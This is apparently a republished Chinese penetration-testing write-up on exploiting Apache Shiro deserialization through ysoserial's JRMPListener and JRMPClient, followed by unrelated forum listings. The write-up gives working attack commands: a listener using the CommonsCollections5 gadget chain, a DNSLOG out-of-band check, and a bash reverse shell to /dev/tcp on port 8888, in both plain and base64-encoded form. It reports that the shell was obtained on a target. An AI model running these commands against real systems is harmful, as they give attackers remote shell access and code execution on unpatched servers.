0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

使用JRMPClient模块进行测试

jf_vLt34KHi 来源:Tide安全团队 作者:Tide安全团队 2022-11-22 17:22 次阅读

前言

最近在测试中遇到一些shiro反序列化不能利用的情况 找到key 无法找到利用链,但是发现存在JRMPClient可用的情况。

b2047198-6a45-11ed-8abf-dac502259ad0.png

换一种工具尝试

b225dc20-6a45-11ed-8abf-dac502259ad0.png

发现 JRMPClient 可用, 尝试使用 JRMPClient 进行测试,最终这个目标也没有执行成功所以换了一个目标进行的尝试,仅记录JRMPClient 利用方式。

使用JRMPClient模块进行测试

找到一个同样存在shiro反序列的目标。

b237b030-6a45-11ed-8abf-dac502259ad0.png

同样find: JRMPClient can be use。

搭建JRMPClient 监听服务

首先需要搭建 JRMPClient 使用ysoserial.jar 工具搭建服务,下载地址:https://github.com/frohoff/ysoserial

使用DNSLOG进行检测

在不确定目标是否通外网的情况下 先使用DNSLOG进行检测 获取一个新的域名 :w3dh1h.dnslog.cn

b24883f6-6a45-11ed-8abf-dac502259ad0.png

VPS上开启JRMPListener

在VPS上搭建服务命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "ping w3dh1h.dnslog.cn"

b2716df2-6a45-11ed-8abf-dac502259ad0.png

shiro反序列利用工具中选择JRMPClient,然后输入VPS上搭建服务的地址:

b2887efc-6a45-11ed-8abf-dac502259ad0.png

JRMPListener 收到返回信息

b29c67e6-6a45-11ed-8abf-dac502259ad0.png

DNSLOG上收到目标的ping 命令信息 说明目标服务器通外网

b2b75fce-6a45-11ed-8abf-dac502259ad0.png

执行反弹命令

执行反弹命令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1

b6ba1166-6a45-11ed-8abf-dac502259ad0.png

没有收到反弹链接

b6db2266-6a45-11ed-8abf-dac502259ad0.png

将命令进行base64编码 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eHgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

b6f38aae-6a45-11ed-8abf-dac502259ad0.png

成功收到反弹链接

b72e021a-6a45-11ed-8abf-dac502259ad0.png

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 模块
    +关注

    关注

    7

    文章

    2740

    浏览量

    47830
  • key
    key
    +关注

    关注

    0

    文章

    51

    浏览量

    12869

原文标题:使用JRMPClient模块进行测试

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    怎样对电源模块进行可靠性测试

    电源作为电路系统的“心脏”,其重要性是显而易见的。在选择电源模块时,除了要考虑输入电压范围、额定功率、隔离耐压、效率、纹波&噪声等性能特性外,还需针对其高低温性能和降额设计进行可靠性测试
    的头像 发表于 09-25 11:31 1.7w次阅读
    怎样对电源<b class='flag-5'>模块</b><b class='flag-5'>进行</b>可靠性<b class='flag-5'>测试</b>

    电源模块生产测试必备系统

    n 系统简介 电源模块作为电路系统的心脏,它的性能直接影响到整个电路系统的正常运行,因此电源模块的产品性能就显得格外重要,对于一款合格的电源模块,需要进行多项性能参数的
    发表于 11-21 17:00 1765次阅读
    电源<b class='flag-5'>模块</b>生产<b class='flag-5'>测试</b>必备系统

    对光模块进行测试的四大步骤

    模块是由发射器和接收器组成。当发射器通过光纤与接收器连接时,如果整个系统的误码率没有达到预期的效果,是发射器的问题还是接收器的问题?测试模块一般分为4个步骤,主要分为对发射器和接收器的测试
    的头像 发表于 12-25 16:27 3001次阅读

    测试平台的模块和模组参考案例

    测试平台的模块和模组参考案例
    发表于 07-01 11:31 16次下载

    使用示波器对电源模块进行纹波测量

      在电源模块物料检测和某些单板测试时,会使用示波器对电源模块进行纹波测量,所以需要了解电源纹波的产生、危害,以及示波器各种探头,用哪种探头测试
    的头像 发表于 01-12 16:35 8600次阅读
    使用示波器对电源<b class='flag-5'>模块</b><b class='flag-5'>进行</b>纹波测量

    使用TPT进行测试建模/测试设计

    TPT中的测试用例用信号特征和函数调用描述被测系统的刺激。您可以用连续的测试步骤对简单的测试进行建模。对于更复杂的测试用例,TPT提供了混合
    的头像 发表于 11-25 11:15 1117次阅读
    使用TPT<b class='flag-5'>进行</b><b class='flag-5'>测试</b>建模/<b class='flag-5'>测试</b>设计

    聚焦千兆光模块和万兆光模块测试技术及设备

    本文主要探讨了千兆光模块和万兆光模块测试技术及测试设备,让读者了解光模块测试的具体方法。同时,
    的头像 发表于 11-06 15:00 799次阅读

    电源自动测试系统如何进行电源模块测试

    电源自动测试系统如何进行电源模块测试? 电源自动测试系统是用于对电源模块
    的头像 发表于 11-09 09:30 1066次阅读

    电源模块耐压测试的标准及其规范是什么?要如何测试

    电源模块耐压测试的标准及其规范是什么?要如何测试? 电源模块是电子设备中至关重要的部分,其耐压测试是确保产品质量和安全性的重要环节。在
    的头像 发表于 11-10 14:22 4695次阅读

    利用ADPD188BI光学烟雾和气雾剂检测模块进行烟雾测试说明

    电子发烧友网站提供《利用ADPD188BI光学烟雾和气雾剂检测模块进行烟雾测试说明.pdf》资料免费下载
    发表于 11-22 10:13 3次下载
    利用ADPD188BI光学烟雾和气雾剂检测<b class='flag-5'>模块</b><b class='flag-5'>进行</b>烟雾<b class='flag-5'>测试</b>说明

    利用ADPD188BI光学烟雾和气雾剂检测模块进行烟雾测试

    电子发烧友网站提供《利用ADPD188BI光学烟雾和气雾剂检测模块进行烟雾测试.pdf》资料免费下载
    发表于 11-23 10:36 3次下载
    利用ADPD188BI光学烟雾和气雾剂检测<b class='flag-5'>模块</b>来<b class='flag-5'>进行</b>烟雾<b class='flag-5'>测试</b>

    为什么要进行模块测试?光模块测试方案

    为什么要进行模块测试?光模块测试方案 光模块测试
    的头像 发表于 01-19 11:15 1620次阅读

    如何测试模块的性能?需要哪些测试测量设备?

    模块是一种将电信号转换为光信号或将光信号转换为电信号的设备,它在光通信系统中起着重要的作用。为了保证光模块的正常工作,我们需要对其进行性能测试,检测其是否符合相关的标准和规范。那么,
    的头像 发表于 01-30 09:03 6498次阅读
    如何<b class='flag-5'>测试</b>光<b class='flag-5'>模块</b>的性能?需要哪些<b class='flag-5'>测试</b>测量设备?

    什么是光模块中的浪涌测试

    ,光模块常常会遭受到来自外部环境的各种干扰,其中包括来自电力系统的浪涌电压。因此,进行模块浪涌测试对于确保其稳定性和可靠性至关重要。 浪涌测试
    的头像 发表于 01-31 14:24 874次阅读

    电源模块测试系统精准测量:揭秘纳米软件的测试技术

    电源测试系统是针对精密电源、开关电源、工业电源、军品电源等多种电源模块特性测试的ate自动化测试设备,旨在综合检测电源模块性能,判断电源是否
    的头像 发表于 09-05 18:47 380次阅读
    电源<b class='flag-5'>模块</b><b class='flag-5'>测试</b>系统精准测量:揭秘纳米软件的<b class='flag-5'>测试</b>技术